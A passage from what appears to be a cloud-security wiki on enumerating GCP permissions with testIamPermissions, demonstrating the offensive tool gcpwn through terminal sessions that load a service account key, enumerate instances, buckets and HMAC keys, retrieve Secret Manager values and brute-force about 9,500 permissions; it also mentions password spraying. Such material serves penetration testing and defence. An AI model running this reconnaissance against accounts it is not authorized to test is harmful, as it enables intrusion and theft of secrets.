Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.</p>"},{"location":"gcp/enumeration/enumerate_all_permissions/","title":"Enumerate Org/Folder/Project Permissions + Individual Resource Permissions","text":"<ul> <li> <p> Tools mentioned in this article</p> <p>gcpwn</p> </li> </ul>"},{"location":"gcp/enumeration/enumerate_all_permissions/#what-is-testiampermissions","title":"What is testIamPermissions?","text":"<p>GCP offers a \"testIamPermissions\" API call on most resources that support policies. This includes resources like:</p> <ul> <li>Organizations</li> <li>Folders</li> <li>Projects</li> <li>Compute Instances</li> <li>Cloud Functions</li> </ul> <p>In MOST cases, the general psuedo-code is the same regardless of the resource. However, the permissions allowed are usually dependent on the resource. </p> <p>For example, for \"Projects\" (probably 99% of people's interest), testIamPermissions is documented here. Note the general pattern is passing in an array (or list) of individual permissions and the service will return the list of permissions the caller is allowed in that specific project. So in the example below, we pass in a large number of permissions and maybe just \"cloudfunctions.functions.list\" is returned indicating our caller has that permission within this project (aka, can list all cloud functions in this project).</p> <pre><code># Input\n{\n  \"permissions\": [\n    compute.instances.addAccessConfig\n    cloudfunctions.functions.list\n    etc\n  ]\n}\n\n# Output\n{\n  \"permissions\": [\n     cloudfunctions.functions.list\n  ]\n}\n</code></pre> <p>However, testIamPermissions does NOT just exist for projects. The compute service allows you to specify permissions at the compute instance level (as opposed to the project level). As such, testIamPermissions actually exists for instances as well shown in the documentation here. You'll notice the API call is pretty much the same as the projects API call in that it takes in a big list of permission and returns the list of permissions the caller has on THAT specific instance; we are just calling testIamPermissions on the instance as opposed to the project. Also note we could not pass in \"cloudfunctions.functions.list\", for example, to the instances testIamPermissions as it will only accept instance-level permissions.</p> <pre><code># Input\n{\n  \"permissions\": [\n                'compute.instances.addAccessConfig',\n                'compute.instances.addMaintenancePolicies',\n                'compute.instances.addResourcePolicies',\n                'compute.instances.attachDisk',\n                'compute.instances.createTagBinding',\n                'compute.instances.delete',\n                'compute.instances.deleteAccessConfig',\n                'compute.instances.deleteTagBinding',\n                'compute.instances.detachDisk',\n                'compute.instances.get',\n                'compute.instances.getEffectiveFirewalls',\n                'compute.instances.getGuestAttributes',\n                'compute.instances.getIamPolicy',\n                'compute.instances.getScreenshot',\n                'compute.instances.getSerialPortOutput',\n                'compute.instances.getShieldedInstanceIdentity',\n                'compute.instances.getShieldedVmIdentity',\n                'compute.instances.listEffectiveTags',\n                'compute.instances.listReferrers',\n                'compute.instances.listTagBindings',\n                'compute.instances.osAdminLogin',\n                'compute.instances.osLogin',\n                'compute.instances.removeMaintenancePolicies',\n                'compute.instances.removeResourcePolicies',\n                'compute.instances.reset',\n                'compute.instances.resume',\n                'compute.instances.sendDiagnosticInterrupt',\n                'compute.instances.setDeletionProtection',\n                'compute.instances.setDiskAutoDelete',\n                'compute.instances.setIamPolicy',\n                'compute.instances.setLabels',\n                'compute.instances.setMachineResources',\n                'compute.instances.setMachineType',\n                'compute.instances.setMetadata',\n                'compute.instances.setMinCpuPlatform',\n                'compute.instances.setName',\n                'compute.instances.setScheduling',\n                'compute.instances.setSecurityPolicy',\n                'compute.instances.setServiceAccount',\n                'compute.instances.setShieldedInstanceIntegrityPolicy',\n                'compute.instances.setShieldedVmIntegrityPolicy',\n                'compute.instances.setTags',\n                'compute.instances.simulateMaintenanceEvent',\n                'compute.instances.start',\n                'compute.instances.startWithEncryptionKey',\n                'compute.instances.stop',\n                'compute.instances.suspend',\n                'compute.instances.update',\n                'compute.instances.updateAccessConfig',\n                'compute.instances.updateDisplayDevice',\n                'compute.instances.updateNetworkInterface',\n                'compute.instances.updateSecurity',\n                'compute.instances.updateShieldedInstanceConfig',\n                'compute.instances.updateShieldedVmConfig',\n                'compute.instances.use',\n                'compute.instances.useReadOnly'\n  ]\n}\n\n# Output\n{\n  \"permissions\": [\n                'compute.instances.start',\n                'compute.instances.startWithEncryptionKey',\n                'compute.instances.stop',\n  ]\n}\n</code></pre>"},{"location":"gcp/enumeration/enumerate_all_permissions/#gcpwn-introduction","title":"GCPwn Introduction","text":"<p>gcpwn is a tool that will run testIamPermission on all resources identified if specified by the end user. This means it will cover testIamPermission test cases for organizations, projects, folders, compute instances, cloud functions, cloud storage (buckets), service accounts, etc. For orgs/projects/folders it runs a small list of permissions as the input but you can specify through flags to brute force ~9500 permissions.</p> <p>To install the tool, follow the installation instructions here. Once installed, review the \"Common Use Cases\" which covers both of the items above.</p> <p>To see a live demo, you can watch this which covers testIamPermissions briefly.</p> <p>Note</p> <p>The tool will also passively record all API permissions you were able to call regardless if testIamPermissions is used, testIamPermissions just will give you more permissions back usually.</p>"},{"location":"gcp/enumeration/enumerate_all_permissions/#enumerate-permissions-on-individual-resources","title":"Enumerate Permissions on Individual Resources","text":"<p>Each enumeration  module (ex. <code>enum_instances</code>) in the tool allows you to pass in an <code>--iam</code> flag that will call testIamPermissions on the resource while enumerating it. Once run, you can run <code>creds info</code> as shown below and this will list out all the permissions your caller has. Review the POC below.</p> <ol> <li>Show the value for the service account key. Note the  same technique can be used for application default credentials (username/password) as well as standalone Oauth2 tokens</li> <li>Start up the tool via <code>python3 main.py</code>. Load in the service account credentials for the file we just showed.</li> <li>Now that the credentials are loaded in and the project is set (Note if project is <code>Unknown</code> you can set it with <code>projects set &lt;project_id&gt;</code>), run <code>creds info</code> and note that NO permissions are known for the current user</li> <li>Run enum_instances and see an instance is found. Run <code>creds info</code> again and note that permission are now populated saying the user has <code>compute.instances.list</code> on the project and <code>compute.instances.get</code> on the instance itself.</li> <li>Run enum_instances again but now include testIamPermission calls with the <code>--iam</code> flag. Run <code>creds info</code> again and note way more permissions were identified for the specified compute instance as gcpwn ran testIamPermissions during the enumeration phaes and saved the results. Now we can see our caller has not just <code>compute.instances.get</code> but <code>compute.instances.addAccessConfig</code>, <code>compute.instances.addMaintenancePolicies</code>, <code>compute.instances.addResourcePolicies</code>, etc. on <code>instance-20240630-025631</code></li> <li>This is hard to read. So you can pass in <code>--csv</code> with <code>creds info</code> to export it to an easy to read Excel file. creds info will highlight \"dangerous\" permissions red and the resulting CSV has a column for True/False for dangerous permissions.</li> </ol> <pre><code>\u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ cat key.json\n{\n  \"type\": \"service_account\",\n  \"project_id\": \"production-project[TRUNCATED]\",\n  \"private_key_id\": \"2912[TRUNCATED]\",\n  \"private_key\": \"-----BEGIN PRIVATE KEY-----\\nMIIEvQIBADANBgkqhkiG9w0B[RECACTED]\\n-----END PRIVATE KEY-----\\n\",\n  \"client_email\": \"newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\",\n  \"client_id\": \"11[TRUNCATED]\",\n  \"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n  \"token_uri\": \"https://oauth2.googleapis.com/token\",\n  \"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n  \"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/newserviceaccount%40production-project[TRUNCATED].iam.gserviceaccount.com\",\n  \"universe_domain\": \"googleapis.com\"\n}\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ python3 main.py \n[*] No workspaces were detected. Please provide the name for your first workspace below.\n&gt; New workspace name: DemoWorkspace\n[*] Workspace 'DemoWorkspace' created.\n\n[TRUNCATED]\n\n[*] Listing existing credentials...\n\n\nSubmit the name or index of an existing credential from above, or add NEW credentials via Application Default \nCredentails (adc - google.auth.default()), a file pointing to adc credentials, a standalone OAuth2 Token, \nor Service credentials. See wiki for details on each. To proceed with no credentials just hit ENTER and submit \nan empty string. \n[1] *adc      &lt;credential_name&gt; [tokeninfo]                    (ex. adc mydefaultcreds [tokeninfo]) \n[2] *adc-file &lt;credential_name&gt; &lt;filepath&gt; [tokeninfo]         (ex. adc-file mydefaultcreds /tmp/name2.json)\n[3] *oauth2   &lt;credential_name&gt; &lt;token_value&gt; [tokeninfo]      (ex. oauth2 mydefaultcreds ya[TRUNCATED]i3jJK)  \n[4] service   &lt;credential_name&gt; &lt;filepath_to_service_creds&gt;    (ex. service mydefaultcreds /tmp/name2.json)\n\n*To get scope and/or email info for Oauth2 tokens (options 1-3) include a third argument of \n\"tokeninfo\" to send the tokens to Google's official oauth2 endpoint to get back scope. \ntokeninfo will set the credential name for oauth2, otherwise credential name will be used.\nAdvised for best results. See https://cloud.google.com/docs/authentication/token-types#access-contents.\nUsing tokeninfo will add scope/email to your references if not auto-picked up.\n\nInput: service service_user /home/kali/gcpwn/key.json\n[*] Credentials successfuly added\nLoading in Service Credentials...\n[*] Loaded credentials service_user\n(production-project[TRUNCATED]:service_user)&gt; creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n(production-project[TRUNCATED]:service_user)&gt; modules run enum_instances\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                                                    \n     - instance-20240630-025631                                                                                                                                                             \n(production-project[TRUNCATED]:service_user)&gt; creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.list\n- Compute Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.get\n      - instance-20240630-025631 (instances)\n\n(production-project[TRUNCATED]:service_user)&gt; modules run enum_instances --iam\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[***] TEST Instance Permissions\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                                                    \n     - instance-20240630-025631                                                                                                                                                             \n(production-project[TRUNCATED]:service_user)&gt; creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.list\n- Compute Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - compute.instances.get\n      - instance-20240630-025631 (instances)\n    - compute.instances.addAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.addMaintenancePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.addResourcePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.attachDisk\n      - instance-20240630-025631 (instances)\n    - compute.instances.createTagBinding\n      - instance-20240630-025631 (instances)\n    - compute.instances.delete\n      - instance-20240630-025631 (instances)\n    - compute.instances.deleteAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.deleteTagBinding\n      - instance-20240630-025631 (instances)\n    - compute.instances.detachDisk\n      - instance-20240630-025631 (instances)\n    - compute.instances.getEffectiveFirewalls\n      - instance-20240630-025631 (instances)\n    - compute.instances.getGuestAttributes\n      - instance-20240630-025631 (instances)\n    - compute.instances.getIamPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.getScreenshot\n      - instance-20240630-025631 (instances)\n    - compute.instances.getSerialPortOutput\n      - instance-20240630-025631 (instances)\n    - compute.instances.getShieldedInstanceIdentity\n      - instance-20240630-025631 (instances)\n    - compute.instances.getShieldedVmIdentity\n      - instance-20240630-025631 (instances)\n    - compute.instances.listEffectiveTags\n      - instance-20240630-025631 (instances)\n    - compute.instances.listReferrers\n      - instance-20240630-025631 (instances)\n    - compute.instances.listTagBindings\n      - instance-20240630-025631 (instances)\n    - compute.instances.osAdminLogin\n      - instance-20240630-025631 (instances)\n    - compute.instances.osLogin\n      - instance-20240630-025631 (instances)\n    - compute.instances.removeMaintenancePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.removeResourcePolicies\n      - instance-20240630-025631 (instances)\n    - compute.instances.reset\n      - instance-20240630-025631 (instances)\n    - compute.instances.resume\n      - instance-20240630-025631 (instances)\n    - compute.instances.sendDiagnosticInterrupt\n      - instance-20240630-025631 (instances)\n    - compute.instances.setDeletionProtection\n      - instance-20240630-025631 (instances)\n    - compute.instances.setDiskAutoDelete\n      - instance-20240630-025631 (instances)\n    - compute.instances.setIamPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setLabels\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMachineResources\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMachineType\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMetadata\n      - instance-20240630-025631 (instances)\n    - compute.instances.setMinCpuPlatform\n      - instance-20240630-025631 (instances)\n    - compute.instances.setName\n      - instance-20240630-025631 (instances)\n    - compute.instances.setScheduling\n      - instance-20240630-025631 (instances)\n    - compute.instances.setSecurityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setServiceAccount\n      - instance-20240630-025631 (instances)\n    - compute.instances.setShieldedInstanceIntegrityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setShieldedVmIntegrityPolicy\n      - instance-20240630-025631 (instances)\n    - compute.instances.setTags\n      - instance-20240630-025631 (instances)\n    - compute.instances.simulateMaintenanceEvent\n      - instance-20240630-025631 (instances)\n    - compute.instances.start\n      - instance-20240630-025631 (instances)\n    - compute.instances.startWithEncryptionKey\n      - instance-20240630-025631 (instances)\n    - compute.instances.stop\n      - instance-20240630-025631 (instances)\n    - compute.instances.suspend\n      - instance-20240630-025631 (instances)\n    - compute.instances.update\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateAccessConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateDisplayDevice\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateNetworkInterface\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateSecurity\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateShieldedInstanceConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.updateShieldedVmConfig\n      - instance-20240630-025631 (instances)\n    - compute.instances.use\n      - instance-20240630-025631 (instances)\n    - compute.instances.useReadOnly\n      - instance-20240630-025631 (instances)\n\n(production-project[TRUNCATED]:service_user)&gt; creds info --csv\n^C\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ cd GatheredData/1_demoworkspace/Reports/Snapshots/    \n\n\u250c\u2500\u2500(kali\u327fkali)-[~/\u2026/GatheredData/1_demoworkspace/Reports/Snapshots]\n\u2514\u2500$ ls\nPermission_Summary_service_user_20240714161752.csv  service_user_1720988272.6552665.csv\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/\u2026/GatheredData/1_demoworkspace/Reports/Snapshots]\n\u2514\u2500$ cat Permission_Summary_service_user_20240714161752.csv \nCredname,Permission,Asset Type,Asset Name,Project_ID,Flagged\nservice_user,compute.instances.list,Project,production-project[TRUNCATED],production-project[TRUNCATED],False\nservice_user,compute.instances.get,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addAccessConfig,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addMaintenancePolicies,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.addResourcePolicies,instances,instance-20240630-025631,production-project[TRUNCATED],False\nservice_user,compute.instances.attachDisk,instances,instance-20240630-025631,production-project[TRUNCATED],False\n</code></pre> <p>As mentiond before, each individual service can have testIamPermission so each enum module can have testIamPermissions. This would kinda stink if you had to run them individually so added an <code>enum_all</code> module which calls ALL enumeration modules. You can pass in <code>--iam</code> to <code>enum_all</code> to run all possible testIamPermissions</p> <pre><code>\u2514\u2500$ python3 main.py \n[*] Found existing sessions:\n  [0] New session\n  [1] DemoWorkspace\n  [2] exit\nChoose an option: 1\n[TRUNCATED]\n\nWelcome to your workspace! Type 'help' or '?' to see available commands.\n\n[*] Listing existing credentials...\n  [1] service_user (service) - newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\n\n\nSubmit the name or index of an existing credential from above, or add NEW credentials via Application Default \nCredentails (adc - google.auth.default()), a file pointing to adc credentials, a standalone OAuth2 Token, \nor Service credentials. See wiki for details on each. To proceed with no credentials just hit ENTER and submit \nan empty string. \n[1] *adc      &lt;credential_name&gt; [tokeninfo]                    (ex. adc mydefaultcreds [tokeninfo]) \n[2] *adc-file &lt;credential_name&gt; &lt;filepath&gt; [tokeninfo]         (ex. adc-file mydefaultcreds /tmp/name2.json)\n[3] *oauth2   &lt;credential_name&gt; &lt;token_value&gt; [tokeninfo]      (ex. oauth2 mydefaultcreds ya[TRUNCATED]i3jJK)  \n[4] service   &lt;credential_name&gt; &lt;filepath_to_service_creds&gt;    (ex. service mydefaultcreds /tmp/name2.json)\n\n*To get scope and/or email info for Oauth2 tokens (options 1-3) include a third argument of \n\"tokeninfo\" to send the tokens to Google's official oauth2 endpoint to get back scope. \ntokeninfo will set the credential name for oauth2, otherwise credential name will be used.\nAdvised for best results. See https://cloud.google.com/docs/authentication/token-types#access-contents.\nUsing tokeninfo will add scope/email to your references if not auto-picked up.\n\nInput: 1\nLoading in Service Credentials...\n[*] Loaded credentials service_user\n(production-project[TRUNCATED]:service_user)&gt; modules run enum_all --iam \n[***********] Beginning enumeration for production-project[TRUNCATED] [***********]\n[*] Beginning Enumeration of RESOURCE MANAGER Resources...\n[*] Searching Organizations\n[*] Searching All Projects\n[*] Searching All Folders\n[*] Getting remainting projects/folders via recursive folder/project list calls starting with org node if possible\n[*] NOTE: This might take a while depending on the size of the domain\n[SUMMARY] GCPwn found or retrieved NO Organization(s)\n[SUMMARY] GCPwn found or retrieved NO Folder(s)\n[SUMMARY] GCPwn found 1 Project(s)\n   - projects/[TRUNCATED] (Production Project 1) - ACTIVE                                                                                                           \n[*] Beginning Enumeration of CLOUD COMPUTE Resources...\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[***] TEST Instance Permissions\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                            \n     - instance-20240630-025631                                                                                                                                     \n[*] Checking Cloud Compute Project production-project[TRUNCATED]...\n[*] Only first few metadata characters shown, run `data tables cloudcompute-projects --columns project_id,common_instance_metadata` to see all of metadata. Use --csv to export it to a csv.\n[SUMMARY] GCPwn found 1 Compute Project(s) potentially with metadata\n   - production-project[TRUNCATED]                                                                                                                                                            \n[*] Beginning Enumeration of CLOUD FUNCTION Resources...\n[*] Checking production-project[TRUNCATED] for functions...\n[**] Reviewing projects/production-project[TRUNCATED]/locations/us-central1/functions/function-12\n[***] GET Individual Function\n[***] TEST Function Permissions\n[SUMMARY] GCPwn found 1 Function(s) in production-project[TRUNCATED]\n   - [us-central1] function-12                                                                                                                                                              \n[*] Beginning Enumeration of CLOUD STORAGE Resources...\n[*] Checking production-project[TRUNCATED] for HMAC keys...\n[SUMMARY] GCPwn found 1 HMAC Key(s) in production-project[TRUNCATED]\n   - [production-project[TRUNCATED]] GOOG1EV[TRUNCATED] - ACTIVE                                                                                   \n     SA: [TRUNCATED]-compute@developer.gserviceaccount.com                                                                                                                                 \n[*] Checking production-project[TRUNCATED] for buckets/blobs via LIST buckets...\n[**] Reviewing bucket-to-see-how-much-stuff-121212121212\n[***] GET Bucket Object\n[X] 403 The user does not have storage.buckets.get permissions on bucket bucket-to-see-how-much-stuff-121212121212\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[X] 403: The user does not have storage.objects.list permissions on\n[**] Reviewing gcf-v2-sources-[TRUNCATED]-us-central1\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[***] GET Bucket Blobs\n[**] Reviewing gcf-v2-uploads-[TRUNCATED]-us-central1\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[**] Reviewing testweoajrpjqfpweqjfpwejfwef\n[***] GET Bucket Object\n[***] TEST Bucket Permissions\n[***] LIST Bucket Blobs\n[SUMMARY] GCPwn found 4 Buckets (with up to 10 blobs shown each) in production-project[TRUNCATED]\n   - bucket-[TRUNCATED]                                                                                                                    \n   - gcf-[TRUNCATED]                                                                                                                      \n     - function-12/function-source.zip                                                                                                                              \n   - gcf-[TRUNCATED]                                                                                                                       \n   - test[TRUNCATED]                                                                                                                                 \n[*] Beginning Enumeration of SECRETS MANAGER Resources...\n[**] [production-project[TRUNCATED]] Reviewing projects/[TRUNCATED]/secrets/test\n[***] GET Base Secret Entity\n[***] TEST Secret Permissions\n[***] LIST Secret Versions\n[****] GET Secret Version 2\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 2\n[****] SECRET VALUE RETRIEVED FOR 2\n[****] GET Secret Version 1\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 1\n[****] SECRET VALUE RETRIEVED FOR 1\n[**] [production-project[TRUNCATED]] Reviewing projects/[TRUNCATED]/secrets/test-location\n[***] GET Base Secret Entity\n[***] TEST Secret Permissions\n[***] LIST Secret Versions\n[****] GET Secret Version 1\n[****] TEST Secret Version Permissions\n[****] GETTING Secret Values For 1\n[****] SECRET VALUE RETRIEVED FOR 1\n[SUMMARY] GCPwn found 2 Secrets in production-project[TRUNCATED]\n   - test                                                                                                                                                           \n     - 1: test121212                                                                                                                                                \n     - 2: test                                                                                                                                                      \n   - test-location                                                                                                                                                  \n     - 1: test121212                                                                                                                                                \n[*] Beginning Enumeration of IAM Resources...\n[*] Checking production-project[TRUNCATED] for service accounts...\n[SUMMARY] GCPwn found 3 Service Account(s) in production-project[TRUNCATED]\n   - [TRUNCATED]-compute@developer.gserviceaccount.com                                                                                                             \n   - newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com                                                                                        \n   - production-project[TRUNCATED]@appspot.gserviceaccount.com                                                                                                      \n[*] Checking production-project[TRUNCATED] for roles...\n[SUMMARY] GCPwn found or retrieved NO Custom Role(s)\n[*] Checking IAM Policy for Organizations...\n[*] Checking IAM Policy for Folders...\n[*] Checking IAM Policy for Projects...\n[*] Checking IAM Policy for Buckets...\n[X] 403: The user does not have storage.buckets.getIamPolicy permissions\n[*] Checking IAM Policy for CloudFunctions...\n[*] Checking IAM Policy for Compute Instances...\n[*] Checking IAM Policy for Service Accounts...\n[*] Checking IAM Policy for Secrets...\n[***********] Ending enumeration for production-project[TRUNCATED] [***********]\n\n(production-project[TRUNCATED]:service_user)&gt; creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n    - production-project[TRUNCATED]\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - cloudfunctions.functions.call\n    - cloudfunctions.functions.create\n    - cloudfunctions.functions.list\n    - cloudfunctions.functions.setIamPolicy\n    - cloudfunctions.functions.sourceCodeSet\n    - cloudfunctions.functions.update\n    - compute.disks.create\n    - compute.instances.create\n    - compute.instances.list\n    - compute.instances.setMetadata\n    - compute.instances.setServiceAccount\n    - compute.projects.get\n    - compute.subnetworks.use\n    - compute.subnetworks.useExternalIp\n    - deploymentmanager.deployments.create\n    - iam.roles.update\n    - iam.serviceAccountKeys.create\n    - iam.serviceAccounts.actAs\n    [TRUNCATED]\n- Storage Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - storage.buckets.delete\n      - bucket[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - test[TRUNCATED] (buckets)\n    - storage.buckets.get\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n    - storage.buckets.getIamPolicy\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n    - storage.buckets.setIamPolicy\n      - gcf-v2-[TRUNCATED] (buckets)\n      - gcf-v2-[TRUNCATED] (buckets)\n      - testw[TRUNCATED] (buckets)\n     [TRUNCATED]\n- Secret Actions Allowed Permissions\n  - production-project[TRUNCATED]\n    - secretmanager.secrets.get\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.delete\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.getIamPolicy\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.setIamPolicy\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.secrets.update\n      - test (secrets)\n      - test-location (secrets)\n    - secretmanager.versions.get\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.access\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.destroy\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.disable\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n    - secretmanager.versions.enable\n      - test (Version: 1) (secret version)\n      - test (Version: 2) (secret version)\n      - test-location (Version: 1) (secret version)\n</code></pre>"},{"location":"gcp/enumeration/enumerate_all_permissions/#enumerate-9500-permission-on-orgfolderproject","title":"Enumerate ~9500 Permission on Org/Folder/Project","text":"<p>gcpwn includes a special flag for <code>enum_resources</code> called <code>--all-permissions</code>. When this is used with the <code>--iam</code> flag, gcpwn will attempt ~9500 individual permissions via testIamPermissions. This effectively should tell you every permission the user has in the current resource. Note you can find the list of permissions via the repository. For example, here are all the project permissions it tries. NOTE AGAIN TESTIAMPERMISSIONS IS NOT ACTUALLY ACTIVELY INVOKING THESE APIS. Thus it should be safe to run these all through testIamPermissions. While not shown below you can pass <code>--all-permissions</code> and <code>--iam</code> into <code>enum_all</code> if you want to do this as part of the everything enumeration.</p> <pre><code>(production-project[TRUNCATED]:service_user)&gt; modules run enum_resources --iam --all-permissions\n[*] Searching Organizations\n[*] Searching All Projects\n[*] Checking permissions in batches for projects/[TRUNCATED], note this might take a few minutes (~9000 permissions @ 500/~ 2 min = 36 min)\nCompleted 5/95\nCompleted 10/95\nCompleted 15/95\nCompleted 20/95\nCompleted 25/95\nCompleted 30/95\nCompleted 35/95\nCompleted 40/95\nCompleted 45/95\nCompleted 50/95\nCompleted 55/95\nCompleted 60/95\nCompleted 65/95\nCompleted 70/95\nCompleted 75/95\nCompleted 80/95\nCompleted 85/95\nCompleted 90/95\nCompleted 95/95\n[*] Searching All Folders\n[*] Getting remainting projects/folders via recursive folder/project list calls starting with org node if possible\n[*] NOTE: This might take a while depending on the size of the domain\n[SUMMARY] GCPwn found or retrieved NO Organization(s)\n[SUMMARY] GCPwn found or retrieved NO Folder(s)\n[SUMMARY] GCPwn found 1 Project(s)\n   - projects/[TRUNCATED] (Production Project 1) - ACTIVE\n\n(production-project[TRUNCATED]:service_user)&gt; creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n    - production-project[TRUNCATED]\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - production-project[TRUNCATED]\n    - accessapproval.requests.approve\n    - accessapproval.requests.dismiss\n    - accessapproval.requests.get\n    - accessapproval.requests.invalidate\n    - accessapproval.requests.list\n    - accessapproval.serviceAccounts.get\n    - accessapproval.settings.delete\n    - accessapproval.settings.get\n    - accessapproval.settings.update\n    - actions.agent.claimContentProvider\n    [TRUNCATED]\n    - workloadmanager.insights.export\n    - workloadmanager.insights.write\n    - workloadmanager.locations.get\n    - workloadmanager.locations.list\n    - workloadmanager.operations.cancel\n    - workloadmanager.operations.delete\n    - workloadmanager.operations.get\n    - workloadmanager.operations.list\n    - workloadmanager.results.list\n    - workloadmanager.rules.list\n    - workstations.operations.get\n    - workstations.workstationClusters.create\n    - workstations.workstationClusters.delete\n    - workstations.workstationClusters.get\n    - workstations.workstationClusters.list\n    - workstations.workstationClusters.update\n    - workstations.workstationConfigs.create\n    - workstations.workstationConfigs.delete\n    - workstations.workstationConfigs.get\n    - workstations.workstationConfigs.getIamPolicy\n    - workstations.workstationConfigs.list\n    - workstations.workstationConfigs.setIamPolicy\n    - workstations.workstationConfigs.update\n    - workstations.workstations.create\n    - workstations.workstations.delete\n    - workstations.workstations.get\n    - workstations.workstations.getIamPolicy\n    - workstations.workstations.list\n    - workstations.workstations.setIamPolicy\n    - workstations.workstations.start\n    - workstations.workstations.stop\n    - workstations.workstations.update\n</code></pre>"},{"location":"gcp/enumeration/enumerate_service_account_permissions/","title":"Enumerate Service Account Permissions","text":"<p>Link to Tool: GitHub</p> <p>On GCP it is possible to use the <code>projects.testIamPermissions</code> method to check the permissions that a caller has on the specified Project.</p> <p>To enumerate permissions you will need either a service account key file or an access token as well as the project ID.</p> <p>Info</p> <p>The project ID can be retrieved from the metadata endpoint at <code>/computeMetadata/v1/project/project-id</code></p> <p>The following script taken from the ThunderCTF repository can be used to enumerate permissions:</p> <pre><code>from googleapiclient import discovery\nimport google.oauth2.service_account\nfrom google.oauth2.credentials import Credentials\nimport os, sys\nfrom permissions import permissions\n\nif len(sys.argv) != 2:\n    sys.exit(\"Usage python test-permissions &lt;token | 